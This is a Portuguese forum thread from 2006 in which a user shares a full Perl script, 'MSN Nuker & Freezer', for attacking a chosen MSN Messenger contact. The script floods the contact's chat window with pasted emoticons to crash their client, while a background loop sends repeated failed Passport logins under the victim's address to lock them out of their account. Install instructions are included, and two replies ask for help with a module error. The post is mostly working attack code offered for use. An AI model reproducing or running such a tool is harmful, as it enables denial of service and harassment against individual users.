MSN Nuker and Freezer

Iniciado por Anonymous, 15 de Outubro , 2006, 03:16:49 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Anonymous

Olá pessoa!

Esse é um script que fiz uns dias atrás, naquelas horas de descontração.
No começo era somente o freezer, mas nos testes que estava fazendo, vi que seria bem bom derrubar o cara também.
Aí adicionei ao script um trecho de código que tenta derrubar um contato online, com um método já conhecido e que até no Msn versão 8 funciona, que é enviar grande quantidade de smileys/winks repetidamente.
Só que enquanto o script está tentando derrubar o indivíduo, ele também já está simulando tentativas de login no servidor com o passport do contato e uma senha falsa. Essas tentativas vão travar o login com essa conta, pois a partir de um certo número de tentativas, a conta fica "bloqueada" e ele só poderá entrar denovo quando  o script for fechado, ou seja, quando as loucas tentativas de logar-se com a conta dele pararem.

Alguém com internet lenta ( < 50 kb) pode ter problemas com o script, pois vai ser preciso boa velocidade no envio dos smilleys. Mais "instruções" no código para quem quiser testar. 
Funciona no Windows, com ActivePerl e o código segue abaixo:

# MSN Nuker & Freezer by gbr (Outubro 2006)
# Antes de rodar, abra uma janela de conversa com o contato alvo
# Precisa ter instalado os módulos CryptSSL e Win32-GuiTest que não vem com a instalação padrão do ActivePerl
# Importante: Não mude de janela durante o envio dos smilleys
# Para instalar,  digite no prompt:
# 1º => ppm install http://theoryx5.uwinnipeg.ca/ppms/Crypt-SSLeay.ppd
# 2º => ppm install http://search.cpan.org/src/CTRONDLP/Win32-GuiTest-1.50.3-ad/Win32-GuiTest.ppd


use Win32::GuiTest qw {FindWindowLike SetForegroundWindow SendKeys};
use Win32::Clipboard;
use LWP::UserAgent;
use threads;

$ARGC = @ARGV;

if($ARGC != 2) {
print "Uso: perl $0 <Nome completo de exibicao do contato ou apenas a primeira palavra> <contato\@hotmail.com>";
exit;
}

#----------------------------- Nuker -----------------------------

$contato = $ARGV[0];
$msn = $ARGV[1];

# Aqui a mensagem que será enviada ao contato vai ser copiada para a área de transferência
$CLIP = Win32::Clipboard();
$CLIP->Empty();
$CLIP->Set(":[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:

[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[

:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:

[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[

:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[");

# Inicia uma thread que fará as tentativas de login, e dá um tempo para ela trabalhar antes de tentar derrubar o contato
print "Iniciando o Freezer...\n";
my $thread = threads->new(\&freezer);
sleep(8);

# Procura a janela de conversa com o contato e mudamos para ela
print "Procurando janela do contato...\n";

@hwnd = FindWindowLike(undef, "$contato(.*) Conversa");
if(!@hwnd) {
print "Nao pode encontrar uma janela de conversa com o contato.\n";
exit;
}

SetForegroundWindow(@hwnd);
sleep(1);

# Começa a enviar os smilleys, enviando a combinação CTRL+V para a janela
print "Floodando o contato...\n";

for(my $cont=0;$cont<60;$cont++) {
SendKeys("^(v)");
SendKeys("{ENTER}");
}

# Supõe que o contato foi desconectado após receber tantos smilleys
print "O contato foi desconectado do MSN.\n";

print "Pressione CTRL+C para terminar o programa (Freezer).\n";
# Aguarda a finalização programa
$thread->join;

#-----------------------------  Freezer -----------------------------

# Esta função é a que faz as tentativas de login
sub freezer {
print "Freezer Iniciado.\n";

my $ua = new LWP::UserAgent;

# Tenta logar-se até o programa ser finalizado
while(1) {
$req = $ua->get('https://login.passport.com/login2.srf', 'Authorization' => "Passport1.4

OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=$msn,pwd=1234567890,lc=1033,id=507,tw=40,ru=http%3A%2F%2Fmessenger%2Emsn%#2Ecom,ct=11602
v=7,ver=2.1.6000.1,rn=!rBm6*bS,tpf=319a6701ecca3817f0430895d1dcd57f", 'Host' => 'login.passport.com');
# Quem tiver internet veloz pode adicionar aqui um sleep(x), onde x é o tempo em segundos até a próxima tentativa
}
}


Abraços.

Dx

Ta dando erro na hora de executar


Slinack

da esse erro:

...:\...\...>MSN_Nuker_e_Freezer.pl
Can't locate Win32/GuiTest.pm in @INC (@INC contains: ...:/Perl/lib ...:/Perl/site/lib .) at ...:\...\...\MSN_Nuker_e_Freezer.pl line 10.
BEGIN failed--compilation aborted at ...:\...\...\MSN_Nuker_e_Freezer.pl line 10.

oq faço?